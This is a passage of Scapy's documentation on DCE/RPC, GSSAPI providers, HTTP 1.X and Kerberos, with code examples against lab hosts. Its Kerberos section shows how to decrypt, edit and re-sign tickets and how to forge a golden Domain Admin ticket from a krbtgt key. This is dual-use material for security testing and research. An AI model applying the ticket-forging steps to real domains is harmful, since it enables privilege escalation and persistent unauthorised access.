	sr1_req(): send/receive a DCE/RPC request




To be able to use an interface, it must have been imported. This makes it so that the register_dcerpc_interface() function is called, allowing the DceRpcSession session to properly understand the bind/alter requests, and match the DCE/RPCs by opcodes.

In the DCE/RPC world, there are several “Transports”. A transport corresponds to the various ways of transporting DCE/RPC. You can have a look at the documentation over [MS-RPCE] 2.1 [https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101]. In Scapy, this is implemented in the DCERPC_Transport enum, that currently contains:


	NCACN_IP_TCP: the interface is reached over IP/TCP, on a port that varies. This port can typically be queried using the endpoint mapper, a DCE/RPC service that is always on port 135.


	NCACN_NP: the interface is reached over a named pipe over SMB. This named pipe is typically well-known, or can also be queried using the endpoint mapper (over SMB) on certain cases.




Here’s an example sending a ServerAlive over the IObjectExporter interface from [MS-DCOM] [https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0].

from scapy.layers.dcerpc import *
from scapy.layers.msrpce.all import *

client = DCERPC_Client(
    DCERPC_Transport.NCACN_IP_TCP,
    ndr64=False,
)
client.connect("192.168.0.100")
client.bind(find_dcerpc_interface("IObjectExporter"))

req = ServerAlive_Request(ndr64=False)
resp = client.sr1_req(req)
resp.show()





Here’s the same example, but this time asking for PKT_PRIVACY (encryption) using NTLMSSP:

from scapy.layers.ntlm import *
from scapy.layers.dcerpc import *
from scapy.layers.msrpce.all import *

ssp = NTLMSSP(
    UPN="Administrator",
    PASSWORD="Password1",
)
client = DCERPC_Client(
    DCERPC_Transport.NCACN_IP_TCP,
    auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY,
    ssp=ssp,
    ndr64=False,
)
client.connect("192.168.0.100")
client.bind(find_dcerpc_interface("IObjectExporter"))

req = ServerAlive_Request(ndr64=False)
resp = client.sr1_req(req)
resp.show()





Again, but this time using PKT_INTEGRITY (signing) using SPNEGOSSP[KerberosSSP]:

from scapy.layers.kerberos import *
from scapy.layers.spnego import *
from scapy.layers.dcerpc import *
from scapy.layers.msrpce.all import *

ssp = SPNEGOSSP(
    [
        KerberosSSP(
            UPN="Administrator@domain.local",
            PASSWORD="Password1",
            SPN="host/dc1",
        )
    ]
)
client = DCERPC_Client(
    DCERPC_Transport.NCACN_IP_TCP,
    auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY,
    ssp=ssp,
    ndr64=False,
)
client.connect("192.168.0.100")
client.bind(find_dcerpc_interface("IObjectExporter"))

req = ServerAlive_Request(ndr64=False)
resp = client.sr1_req(req)
resp.show()





Here’s a different example, this time connecting over NCACN_NP to [MS-SAMR] [https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380] to enumerate the domains a server is in:

from scapy.layers.ntlm import NTLMSSP, MD4le
from scapy.layers.dcerpc import *
from scapy.layers.msrpce.all import *

ssp = NTLMSSP(
    UPN="User",
    HASHNT=MD4le("Password"),
)
client = DCERPC_Client(
    DCERPC_Transport.NCACN_NP,
    ssp=ssp,
    ndr64=False,
)
client.connect("192.168.0.100")
client.open_smbpipe("lsass")  # open the \pipe\lsass pipe
client.bind(find_dcerpc_interface("samr"))

# Get Server Handle: call [0] SamrConnect
serverHandle = client.sr1_req(SamrConnect_Request(
    DesiredAccess=(
        0x00000010 # SAM_SERVER_ENUMERATE_DOMAINS
    )
)).ServerHandle

# Enumerate domains: call [6] SamrEnumerateDomainsInSamServer
EnumerationContext = 0
while True:
    resp = client.sr1_req(
        SamrEnumerateDomainsInSamServer_Request(
            ServerHandle=serverHandle,
            EnumerationContext=EnumerationContext,
        )
    )
    # note: there are a lot of sub-structures
    print(resp.valueof("Buffer").valueof("Buffer")[0].valueof("Name").valueof("Buffer").decode())
    EnumerationContext = resp.EnumerationContext  # continue enumeration
    if resp.status == 0:  # no domain left to enumerate
        break

client.close()






Note

As you can see, we used the NTLMSSP security provider in the above connection.



There are extensions to the DCERPC_Client class:


	the NetlogonClient, worth mentioning because it implements its own NetlogonSSP:




from scapy.layers.msrpce.msnrpc import *
from scapy.layers.msrpce.raw.ms_nrpc import *

client = NetlogonClient(
    auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY,
    computername="SERVER",
    domainname="DOMAIN",
)
client.connect_and_bind("192.168.0.100")
client.negotiate_sessionkey(bytes.fromhex("77777777777777777777777777777777"))
client.close()






	the DCOM_Client (unfinished)






Server

It is also possible to create your own DCE/RPC server. This takes the form of creating a DCERPC_Server class, then serving it over a transport.

This class contains a answer() function that is used to register a handler for a Request, such as for instance:

from scapy.layers.dcerpc import *
from scapy.layers.msrpce.all import *

class MyRPCServer(DCERPC_Server):
    @DCERPC_Server.answer(NetrWkstaGetInfo_Request)
    def handle_NetrWkstaGetInfo(self, req):
        """
        NetrWkstaGetInfo [MS-SRVS]
        "returns information about the configuration of a workstation."
        """
        return NetrWkstaGetInfo_Response(
            WkstaInfo=NDRUnion(
                tag=100,
                value=LPWKSTA_INFO_100(
                    wki100_platform_id=500,  # NT
                    wki100_ver_major=5,
                ),
            ),
            ndr64=self.ndr64,
        )





Let’s spawn this server, listening on the 12345 port using the NCACN_IP_TCP transport.

MyRPCServer.spawn(
    DCERPC_Transport.NCACN_IP_TCP,
    port=12345,
)





Of course that also works over NCACN_NP, with for instance a NTLMSSP:

from scapy.layers.ntlm import NTLMSSP, MD4le
ssp = NTLMSSP(
    IDENTITIES={
        "User1": MD4le("Password"),
    }
)

MyRPCServer.spawn(
    DCERPC_Transport.NCACN_NP,
    ssp=ssp,
    iface="eth0",
    port=445,
    ndr64=True,
)





To start an endpoint mapper (this should be a separate process from your RPC server), you can use the default DCERPC_Server as such:

from scapy.layers.dcerpc import *
from scapy.layers.msrpce.all import *

DCERPC_Server.spawn(
    DCERPC_Transport.NCACN_IP_TCP,
    iface="eth0",
    port=135,
    portmap={
        find_dcerpc_interface("wkssvc"): 12345,
    },
    ndr64=True,
)






Note

Currently, a DCERPC_Server will let a client bind on all interfaces that Scapy has registered (imported). Supposedly though, you know which RPCs are going to be queried.





Passive sniffing

If you’re doing passive sniffing of a DCE/RPC session, you can instruct Scapy to still use its DCE/RPC session in order to check the INTEGRITY and decrypt (if PRIVACY is used) the packets.

from scapy.all import *

# Bind DCE/RPC port
bind_bottom_up(TCP, DceRpc5, dport=12345)
bind_bottom_up(TCP, DceRpc5, dport=12345)

# Enable passive DCE/RPC session
conf.dcerpc_session_enable = True

# Define SSPs that can be used for decryption / verify
conf.winssps_passive = [
    SPNEGOSSP([
        NTLMSSP(
            IDENTITIES={
                "User1": MD4le("Password1!"),
            },
        ),
    ])
]

# Sniff
pkts = sniff(offline="dcerpc_exchange.pcapng", session=TCPSession)
pkts.show()






Warning

NTLM, KerberosSSP and SPNEGOSSP are currently supported. NetlogonSSP is still unsupported.





Define custom packets

TODO: Add documentation on how to define NDR packets.



Design choices

NDR is a rather complex encoding. For instance, there are multiple types of arrays:


	fixed arrays


	conformant arrays


	varying arrays


	conformant varying arrays




All of which have slightly different representations on the network, but generally speaking it can look like this:

[image: ../_images/ndr_conformant_varying_array.png]
Those lengths are mostly computable, but this raises the question of: what should Scapy report to the user?.

Some implementations (like impacket’s), have chosen to abstract the lengths, offsets, etc. and hide it to the user. This has the big advantage that it makes packets much easier to build, but has the inconvenience that it is in fact hiding part of the information contained in the packet, which really is against Scapy’s philosophy.

The same happens when encoding pointers, which looks something like this:

[image: ../_images/ndr_full_pointer.png]
where it is tempting to hide the referent_id part, which is on Windows in most parts irrelevant.

In Scapy, you will find all the fields. The pros are that it is exhaustive and doesn’t hide any information, the cons is that you need to use the utils (valueof() on dissection, implicit any2i on build) in order for it not to be a massive pain.





            

          

      

      

    

  

    
      
          
            
  
GSSAPI

Scapy provides access to various Security Providers [https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture] following the GSSAPI model, but aiming at interacting with the Windows world.


Note

The GSSAPI interfaces are based off the following documentations:



	GSSAPI: RFC4121 [https://datatracker.ietf.org/doc/html/rfc4121] / RFC2743 [https://datatracker.ietf.org/doc/html/rfc2743]


	GSSAPI C bindings: RFC2744 [https://datatracker.ietf.org/doc/html/rfc2744]










Usage

The following SSPs are currently provided:



	NTLMSSP


	KerberosSSP


	SPNEGOSSP


	NetlogonSSP







Basically those are classes that implement two functions, trying to micmic the RFCs:


	GSS_Init_sec_context(): called by the client, passing it a Context and optionally a token


	GSS_Accept_sec_context(): called by the server, passing it a Context and optionally a token




They both return the updated Context, a token to optionally send to the server/client and a GSSAPI status code.


Note

You can typically use it in SMB_Client, SMB_Server, DCERPC_Client or DCERPC_Server.
Have a look at SMB and DCE/RPC to get examples on how to use it.



Let’s implement our own client that uses one of those SSPs.


Client

First let’s create the SSP. We’ll take NTLMSSP as an example but the others would work just as well.

from scapy.layers.ntlm import *
clissp = NTLMSSP(
    UPN="Administrator@domain.local",
    PASSWORD="Password1!",
)





Let’s get the first token (in this case, the ntlm negotiate):

# We start with a context = None and a val (server answer) = None
sspcontext, token, status = clissp.GSS_Init_sec_context(None, None)
# sspcontext will be passed to subsequent calls and stores information
# regarding this NTLM session, token is the NTLM_NEGOTIATE and status
# the state of the SSP
assert status == GSS_S_CONTINUE_NEEDED





Send this token to the server, or use it as required, and get back the server’s token.
You can then pass that token as the second parameter of GSS_Init_sec_context().
To give an example, this is what is done in the LDAP client:

# Do we have a token to send to the server?
while token:
    resp = self.sr1(
        LDAP_BindRequest(
            bind_name=ASN1_STRING(b""),
            authentication=LDAP_Authentication_SaslCredentials(
                mechanism=ASN1_STRING(b"SPNEGO"),
                credentials=ASN1_STRING(bytes(token)),
            ),
        )
    )
    sspcontext, token, status = clissp.GSS_Init_sec_context(
        self.sspcontext, GSSAPI_BLOB(resp.protocolOp.serverSaslCreds.val)
    )





If you want to use SPEGOSSP, you could wrap the SSP as so:

from scapy.layers.ntlm import *
from scapy.layers.spnegossp import SPNEGOSSP
clissp = SPNEGOSSP(
    [
        NTLMSSP(
            UPN="Administrator@domain.local",
            PASSWORD="Password1!",
        ),
        KerberosSSP(
            UPN="Administrator@domain.local",
            PASSWORD="Password1!",
            SPN="host/dc1.domain.local",
        ),
    ]
)





You can override the GSS-API req_flags when calling GSS_Init_sec_context(), using values from GSS_C_FLAGS:

sspcontext, token, status = clissp.GSS_Init_sec_context(None, None, req_flags=(
    GSS_C_FLAGS.GSS_C_EXTENDED_ERROR_FLAG |
    GSS_C_FLAGS.GSS_C_MUTUAL_FLAG |
    GSS_C_FLAGS.GSS_C_CONF_FLAG  # Asking for CONFIDENTIALITY
))







Server

Implementing a server is very similar to a client but you’d use GSS_Accept_sec_context() instead.
The client is properly authenticated when status is GSS_S_COMPLETE.

Let’s use NTLMSSP as an example of server-side SSP.

from scapy.layers.ntlm import *
clissp = NTLMSSP(
    IDENTITIES={
        "User1": MD4le("Password1!"),
        "User2": MD4le("Password2!"),
    }
)





You’ll find other examples of how to instantiate a SSP in the docstrings of each SSP. See the list






            

          

      

      

    

  

    
      
          
            
  
HTTP

Scapy supports the sending / receiving of HTTP packets natively.


HTTP 1.X


Note

Support for HTTP 1.X was added in 2.4.3, whereas HTTP 2.X was already in 2.4.0.




About HTTP 1.X

HTTP 1.X is a text protocol. Those are pretty unusual nowadays (HTTP 2.X is binary), therefore its implementation is very different.

For transmission purposes, HTTP 1.X frames are split in various fragments during the connection, which may or not have been encoded.
This is explain over https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding

To summarize, the frames can be split in 3 different ways:


	chunks: split in fragments called chunks that are preceded by their length. The end of a frame is marked by an empty chunk


	using Content-Length: the header of the HTTP frame announces the total length of the frame


	None of the above: the HTTP frame ends when the TCP stream ends / when a TCP push happens.




Moreover, each frame may be additionally compressed, depending on the algorithm specified in the HTTP header:


	compress: compressed using LZW


	deflate: compressed using ZLIB


	br: compressed using Brotli


	gzip




Let’s have a look at what happens when you perform an HTTPRequest using Scapy’s TCP_client (explained below):

[image: ../_images/http_tcp.png]
Once the first SYN/ACK is done, the connection is established. Scapy will send the HTTPRequest(), and the host will answer with HTTP fragments. Scapy will ACK each of those, and recompile them using TCPSession, like Wireshark does when it displays the answer frame.



HTTP 1.X in Scapy

Let’s list the module’s content:

>>> explore(scapy.layers.http)
Packets contained in scapy.layers.http:
Class       |Name
------------|-------------
HTTP        |HTTP 1
HTTPRequest |HTTP Request
HTTPResponse|HTTP Response





There are two frames available: HTTPRequest and HTTPResponse. The HTTP is only used during dissection, as a util to choose between the two.
All common header fields should be supported.


	Default HTTPRequest:




>>> HTTPRequest().show()
###[ HTTP Request ]###
  Method= 'GET'
  Path= '/'
  Http_Version= 'HTTP/1.1'
  A_IM= None
  Accept= None
  Accept_Charset= None
  Accept_Datetime= None
  Accept_Encoding= None
  [...]






	Default HTTPResponse:




>>> HTTPResponse().show()
###[ HTTP Response ]###
  Http_Version= 'HTTP/1.1'
  Status_Code= '200'
  Reason_Phrase= 'OK'
  Accept_Patch43= None
  Accept_Ranges= None
  [...]







Use Scapy to send/receive HTTP 1.X

To handle this decompression, Scapy uses Sessions classes, more specifically the TCPSession class.
You have several ways of using it:



	sniff(session=TCPSession, [...])

	TCP_client.tcplink(HTTP, host, 80)





	
Perform decompression / defragmentation

on all TCP streams simultaneously, but

only acts passively.




	
Acts as a TCP client: handles SYN/ACK,

and all TCP actions, but only creates

one stream.









Examples:


	TCP_client.tcplink:




Send an HTTPRequest to www.secdev.org and write the result in a file:

load_layer("http")
req = HTTP()/HTTPRequest(
    Accept_Encoding=b'gzip, deflate',
    Cache_Control=b'no-cache',
    Connection=b'keep-alive',
    Host=b'www.secdev.org',
    Pragma=b'no-cache'
)
a = TCP_client.tcplink(HTTP, "www.secdev.org", 80)
answer = a.sr1(req)
a.close()
with open("www.secdev.org.html", "wb") as file:
    file.write(answer.load)





TCP_client.tcplink makes it feel like it only received one packet, but in reality it was recombined in TCPSession.
If you performed a plain sniff(), you would have seen those packets.

This code is implemented in a utility function: http_request(), usable as so:

load_layer("http")
http_request("www.google.com", "/", display=True)





This will open the webpage in your default browser thanks to display=True.


	sniff():




Dissect a pcap which contains a JPEG image that was sent over HTTP using chunks.


Note

The http_chunk.pcap.gz file is available in scapy/test/pcaps



load_layer("http")
pkts = sniff(offline="http_chunk.pcap.gz", session=TCPSession)
# a[29] is the HTTPResponse
with open("image.jpg", "wb") as file:
    file.write(pkts[29].load)








HTTP 2.X

The HTTP 2 documentation is available as a Jupyter notebook over here: HTTP 2 Tuto [https://github.com/secdev/scapy/blob/master/doc/notebooks/HTTP_2_Tuto.ipynb]





            

          

      

      

    

  

    
      
          
            
  
Kerberos


Note

Kerberos per RFC4120 [https://datatracker.ietf.org/doc/html/rfc6113.html] + RFC6113 [https://datatracker.ietf.org/doc/html/rfc6113.html] (FAST)




High-Level


Kerberos client

Scapy includes a (tiny) kerberos client, that has basic functionalities such as:


AS-REQ


Note

Full doc at krb_as_req(). krb_as_req actually calls a Scapy automaton that has the following behavior:

[image: ../_images/kerberos_atmt.png]


>>> res = krb_as_req("user1@DOMAIN.LOCAL", password="Password1")





This is what it looks like with wireshark:

[image: ../_images/wireshark_asreq.png]
The result is a named tuple with both the full AP-REP and the decrypted session key:

>>> res.asrep.show()
###[ KRB_AS_REP ]###
    pvno      = 0x5 <ASN1_INTEGER[5]>
    msgType   = 'AS-REP' 0xb <ASN1_INTEGER[11]>
    \padata    \
    |###[ PADATA ]###
    |  padataType= 'PA-ETYPE-INFO2' 0x13 <ASN1_INTEGER[19]>
    |  \padataValue\
    |   |###[ ETYPE_INFO2 ]###
    |   |  \seq       \
    |   |   |###[ ETYPE_INFO_ENTRY2 ]###
    |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>
    |   |   |  salt      = <ASN1_GENERAL_STRING[b'DOMAIN.LOCALuser1']>
    |   |   |  s2kparams = None
    crealm    = <ASN1_GENERAL_STRING[b'DOMAIN.LOCAL']>
    [...]
>>> res.sessionkey.toKey()
<Key 18 (32 octets)>





Some more examples:

Enforce RC4:

>>> from scapy.libs.rfc3961 import EncryptionType
>>> res = krb_as_req("user1@DOMAIN.LOCAL", etypes=[EncryptionType.RC4_HMAC])





Ask for a DES_CBC_MD5 sessionkey:

>>> from scapy.libs.rfc3961 import EncryptionType
>>> res = krb_as_req("user1@DOMAIN.LOCAL", etypes=[EncryptionType.DES_CBC_MD5, EncryptionType.RC4_HMAC])







TGS-REQ


Note

Full doc at krb_tgs_req(). krb_tgs_req actually calls a Scapy automaton.



Ask for a ST:

Let’s reuse the TGT and session key we got in the AS-REQ:

>>> krb_tgs_req("user1@DOMAIN.LOCAL", "host/DC1", sessionkey=res.sessionkey, ticket=res.asrep.ticket)






Note

There is also a krb_as_and_tgs() function that does an AS-REQ then a TGS-REQ:

>>> krb_as_and_tgs("user1@DOMAIN.LOCAL", "host/DC1", password="Password1")







Other things you can do:

Renew a TGT:

>>> krb_tgs_req("user1@DOMAIN.LOCAL", "krbtgt/DOMAIN.LOCAL", sessionkey=res.sessionkey, ticket=res.asrep.ticket, renew=True)





Renew a ST:


Note

For some mysterious reason, this is rarely implemented in other tools.



>>> res2 = krb_tgs_req("user1@DOMAIN.LOCAL", "host/DC1", sessionkey=res.sessionkey, ticket=res.asrep.ticket)
>>> krb_tgs_req("user1@DOMAIN.LOCAL", "host/DC1", sessionkey=res2.sessionkey, ticket=res2.tgsrep.ticket, renew=True)








KerberosSSP

For Kerberos, the Scapy SSP is implemented in KerberosSSP.
You can typically use it in SMB_Client, SMB_Server, DCERPC_Client or DCERPC_Server.


Note

Remember that you can wrap it in a SPNEGOSSP





Ticketer++

Scapy also implements a “ticketer++” module, named as a tribute to impacket’s, in order to manipulate Kerberos tickets.
Ticketer++ is easy to use programmatically, and allows you to manipulate the tickets yourself.
Scapy’s ticketer++ implements all fields from RFC4120, [MS-KILE] and [MS-PAC], meaning you can edit ANY field in a ticket to your likings.

It even provides a GUI (not exactly necessary, but quite handy) that edits & rebuilds the Scapy ticket packet.


Demo

Here’s a small demo of how this is usable with linux kerberos tools:


Note

We first added a realm DOMAIN.LOCAL with a kdc to /etc/krb5.conf



$ kinit Administrator@DOMAIN.LOCAL
Password for Administrator@DOMAIN.LOCAL:
$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: Administrator@DOMAIN.LOCAL

Valid starting       Expires              Service principal
08/31/2023 12:08:15  08/31/2023 22:08:15  krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
        renew until 09/01/2023 12:08:12

$ scapy
>>> load_module("ticketer")
>>> t = Ticketer()
>>> t.open_file("/tmp/krb5cc_1000")
>>> t.show()
Tickets:
1. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
Start time         End time           Renew until        Auth time
31/08/23 12:08:15  31/08/23 22:08:15  01/09/23 12:08:12  31/08/23 12:08:15
>>> t.edit_ticket(0)  # The only thing we did in the UI was to add 1 hour to the expiration time
Enter the NT hash (AES-256) for this ticket (as hex): 6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce
>>> t.resign_ticket(0)
>>> t.save()
>>> exit()
$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: Administrator@DOMAIN.LOCAL

Valid starting       Expires              Service principal
08/31/2023 12:08:15  08/31/2023 23:08:15  krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
        renew until 09/01/2023 12:08:12







Features


	Read/Edit/Write CCaches from other apps: Let’s assume you’ve acquired the KRBTGT of a KDC, plus you’ve used kinit to get a ticket. This ticket was saved to a .ccache file, that we’ll know try to open.





Note

You can get the demo ccache file using the following

cat <<EOF | base64 -d > krb.ccacheEOF







>>> load_module("ticketer")
>>> t = Ticketer()
>>> t.open_file("krb.ccache")
>>> t.show()
Tickets:
1. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
>>> t.edit_ticket(0)
Enter the NT hash (AES-256) for this ticket (as hex): 6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce
>>> t.resign_ticket(0)
>>> t.save()
1660
>>> # Other stuff you can do
>>> tkt = t.dec_ticket(0)
>>> tkt
<EncTicketPart  flags=forwardable, proxiable, renewable, .........>
>>> t.update_ticket(0, tkt)






[image: ../_images/ticketer.png]


Note

Remember to call resign_ticket to update the Server and KDC checksums in the PAC.




	Request TGT/ST: Scapy’s ticketer also provides wrappers to krb_as_req() and krb_tgs_req(), in order to request a real ticket and store its result (typically called diamond ticket):




>>> load_module("ticketer")
>>> t = Ticketer()
>>> t.request_tgt("Administrator@DOMAIN.LOCAL")
Enter password: ************
>>> t.show()
Tickets:
0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
>>> t.request_st(0, "host/dc1.domain.local")
>>> t.show()
Tickets:
0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
Start time         End time           Renew until        Auth time
31/08/23 11:38:34  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34

1. Administrator@DOMAIN.LOCAL -> host/dc1.domain.local@DOMAIN.LOCAL
Start time         End time           Renew until        Auth time
31/08/23 11:39:07  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34
>>> t.edit_ticket(1)
>>> t.resign_ticket(1)
>>> t.save(fname="req.ccache")






	Renew TGT/ST: Scapy’s ticketer can be used to renew TGT or ST.




>>> load_module("ticketer")
>>> t = Ticketer()
>>> t.request_tgt("Administrator@DOMAIN.LOCAL")
Enter password: ************
>>> t.request_st(0, "host/dc1.domain.local")
>>> t.show()
Tickets:
0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
Start time         End time           Renew until        Auth time
31/08/23 11:38:34  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34

1. Administrator@DOMAIN.LOCAL -> host/dc1.domain.local@DOMAIN.LOCAL
Start time         End time           Renew until        Auth time
31/08/23 11:39:07  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34
>>> t.renew(0)  # renew TGT
>>> t.renew(1)  # renew ST






	Craft tickets: We can start by showing how to craft a golden ticket, in the same way impacket’s ticketer does:




>>> load_module("ticketer")
>>> t = Ticketer()
>>> t.create_ticket()
User [User]: Administrator
Domain [DOM.LOCAL]: DOMAIN.LOCAL
Domain SID [S-1-5-21-1-2-3]: S-1-5-21-4239584752-1119503303-314831486
Group IDs [513, 512, 520, 518, 519]: 512, 520, 513, 519, 518
User ID [500]: 500
Primary Group ID [513]:
Extra SIDs [] :S-1-18-1
Expires in (h) [10]:
What key should we use (AES128-CTS-HMAC-SHA1-96/AES256-CTS-HMAC-SHA1-96/RC4-HMAC) ? [AES256-CTS-HMAC-SHA1-96]:
Enter the NT hash (AES-256) for this ticket (as hex): 6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce
>>> t.show()
Tickets:
0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
>>> t.save(fname="blob.ccache")







Cheat sheet



	Command

	Description





	load_module("ticketer")

	Load ticketer++



	t = Ticketer()

	Create a Ticketer object



	t.open_file("/tmp/krb5cc_1000")

	Open a ccache file



	t.save()

	Save a ccache file



	t.show()

	List the tickets



	t.create_ticket()

	Forge a ticket



	dTkt = t.dec_ticket(<index>)

	Decipher a ticket



	t.update_ticket(<index>, dTkt)

	Re-inject a deciphered ticket



	t.edit_ticket(<index>)

	Edit a ticket (GUI)



	t.resign_ticket(<index>)

	Resign a ticket



	t.request_tgt(upn, [...])

	Request a TGT



	t.request_st(i, spn, [...])

	Request a ST using ticket i



	t.renew(i, [...])

	Renew a TGT/ST










Low-level


Decrypt kerberos packets

Kerberos packets contain encrypted content, let’s take the following packet:

>>> pkt = Ether(b"RT\x00iX\x13RT\x00!l+\x08\x00E\x00\x01]\xa7\x18@\x00\x80\x06\xdc\x83\xc0\xa8z\x9c\xc0\xa8z\x11\xc2\t\x00XT\xf6\xab#\x92\xc2[\xd6P\x18 \x14\xb6\xe0\x00\x00\x00\x00\x011j\x82\x01-0\x82\x01)\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa3c0a0L\xa1\x03\x02\x01\x02\xa2E\x04C0A\xa0\x03\x02\x01\x12\xa2:\x048HHM\xec\xb0\x1c\x9bb\xa1\xca\xbf\xbc?-\x1e\xd8Z\xa5\xe0\x93\xba\x83X\xa8\xce\xa3MC\x93\xaf\x93\xbf!\x1e'O\xa5\x8e\x81Hx\xdb\x9f\rz(\xd9Ns'f\r\xb4\xf3pK0\x11\xa1\x04\x02\x02\x00\x80\xa2\t\x04\x070\x05\xa0\x03\x01\x01\xff\xa4\x81\xb70\x81\xb4\xa0\x07\x03\x05\x00@\x81\x00\x10\xa1\x120\x10\xa0\x03\x02\x01\x01\xa1\t0\x07\x1b\x05win1$\xa2\x0e\x1b\x0cDOMAIN.LOCAL\xa3!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cDOMAIN.LOCAL\xa5\x11\x18\x0f20370913024805Z\xa6\x11\x18\x0f20370913024805Z\xa7\x06\x02\x04p\x1c\xc5\xd1\xa8\x150\x13\x02\x01\x12\x02\x01\x11\x02\x01\x17\x02\x01\x18\x02\x02\xffy\x02\x01\x03\xa9\x1d0\x1b0\x19\xa0\x03\x02\x01\x14\xa1\x12\x04\x10WIN1            ")
>>> pkt[TCP].payload.show()
###[ KerberosTCPHeader ]###
len       = 305
###[ Kerberos ]###
    \root      \
    |###[ KRB_AS_REQ ]###
    |  pvno      = 0x5 <ASN1_INTEGER[5]>
    |  msgType   = 'AS-REQ' 0xa <ASN1_INTEGER[10]>
    |  \padata    \
    |   |###[ PADATA ]###
    |   |  padataType= 'PA-ENC-TIMESTAMP' 0x2 <ASN1_INTEGER[2]>
    |   |  \padataValue\
    |   |   |###[ EncryptedData ]###
    |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>
    |   |   |  kvno      = None
    |   |   |  cipher    = <ASN1_STRING[b"HHM\xec\xb0\x1c\x9bb\xa1\xca\xbf\xbc?-\x1e\xd8Z\xa5\xe0\x93\xba\x83X\xa8\xce\xa3MC\x93\xaf\x93\xbf!\x1e'O\xa5\x8e\x81Hx\xdb\x9f\rz(\xd9Ns'f\r\xb4\xf3pK"]>
    |   |###[ PADATA ]###
    |   |  padataType= 'PA-PAC-REQUEST' 0x80 <ASN1_INTEGER[128]>
    |   |  \padataValue\
    |   |   |###[ PA_PAC_REQUEST ]###
    |   |   |  includePac= True <ASN1_BOOLEAN[-1]>
    |  \reqBody   \
    |   |###[ KRB_KDC_REQ_BODY ]###
    |   |  kdcOptions= forwardable, renewable, canonicalize, renewable-ok <ASN1_BIT_STRING[0100000010...0000010000]=b'@\x81\x00\x10' (0 unused bit)>
    |   |  \cname     \
    |   |   |###[ PrincipalName ]###
    |   |   |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>
    |   |   |  nameString= [<ASN1_GENERAL_STRING[b'win1$']>]
    |   |  realm     = <ASN1_GENERAL_STRING[b'DOMAIN.LOCAL']>
    |   |  \sname     \
    |   |   |###[ PrincipalName ]###
    |   |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>
    |   |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOMAIN.LOCAL']>]
    |   |  from      = None
    |   |  till      = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>
    |   |  rtime     = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>
    |   |  nonce     = 0x701cc5d1 <ASN1_INTEGER[1880933841]>
    |   |  etype     = [0x12 <ASN1_INTEGER[18]>, 0x11 <ASN1_INTEGER[17]>, 0x17 <ASN1_INTEGER[23]>, 0x18 <ASN1_INTEGER[24]>, -0x87 <ASN1_INTEGER[-135]>, 0x3 <ASN1_INTEGER[3]>]
    |   |  \addresses \
    |   |   |###[ HostAddress ]###
    |   |   |  addrType  = 'NetBios' 0x14 <ASN1_INTEGER[20]>
    |   |   |  address   = <ASN1_STRING[b'WIN1            ']>
    |   |  encAuthorizationData= None
    |   |  additionalTickets= None





You likely want to decrypt pkt.root.padata[0].padataValue which is an EncryptedData packet. To do so, we need the Key class.

>>> from scapy.libs.rfc3961 import Key, EncryptionType
>>> enc = pkt[Kerberos].root.padata[0].padataValue
>>> k = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("7fada4e566ae4fb270e2800a23ae87127a819d42e69b5e22de0ddc63da80096d"))





The first parameter of the Key constructor is a value from EncryptionType, in this case EncryptionType.AES256_CTS_HMAC_SHA1_96. This is the same value than enc.etype.val, which allows to know which key to use.

We can then proceed to perform the decryption:

>>> enc.decrypt(k)
<PA_ENC_TS_ENC  patimestamp=2022-07-15 17:18:47 UTC <ASN1_GENERALIZED_TIME['20220715171847Z']> pausec=0x9a4db <ASN1_INTEGER[632027]> |>







Compute Kerberos keys


Note

Encryption for Kerberos 5 is defined in RFC3961 [https://datatracker.ietf.org/doc/html/rfc3961.html]



You may want to compute a Kerberos key from a password + salt. There is an API for that described in RFC3961 as “string-to-key”. Our implementation is a class method as follow:


	
Key.string_to_key(etype, string, salt, params=None)

	Compute the kerberos key for a certain encryption type.


	Parameters:

	
	etype (int) – The EncryptionType to use. May be any value from EncryptionType


